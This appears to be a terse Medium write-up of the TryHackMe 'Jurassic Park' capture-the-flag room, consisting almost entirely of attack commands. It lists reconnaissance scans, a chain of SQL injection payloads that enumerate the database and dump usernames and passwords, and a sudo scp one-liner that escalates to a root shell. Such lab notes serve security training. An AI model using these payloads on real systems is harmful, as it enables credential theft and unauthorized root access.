TryHackMe: Jurassic Park

nmap -Pn <target ip>nmap -Pn -p1000- <target ip>
nmap -A -p22,80 <target ip>
nmap --script vuln -p22,80 <target ip>
ssh <target ip>
nikto -h http://<target ip>
gobuster dir --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://<target>/ -x php,txt,html,sh,cgi,bak -q
" or 1=1
' or 1=1#
0 or 1=1
0 union select
0 union select 10 union select 1,20 union select 1,2,3
0 union select 1,2,3,4,5
0 union select 1,2,version(),4,5
0 union select 1,2,database(),4,5
0 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata
0 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()
0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where  table_name='users' and  table_schema=database()
0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where  table_name="users" and  table_schema=database()
0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where  table_name="users" and  table_schema=database()
0 union select 1,group_concat(id),3,4,5 from users
0 union select 1,group_concat(username),3,4,5 from users
0 union select 1,group_concat(password),3,4,5 from users
0 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where  table_name="items" and  table_schema=database()
0 union select 1,group_concat(id," ",package," ",price," ",information," ",sold),3,4,5 from items
sudo -l
TF=$(mktemp)echo 'sh 0<&2 1>&2' > $TFchmod 777 "$TF"sudo scp -S $TF x y:whoami

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store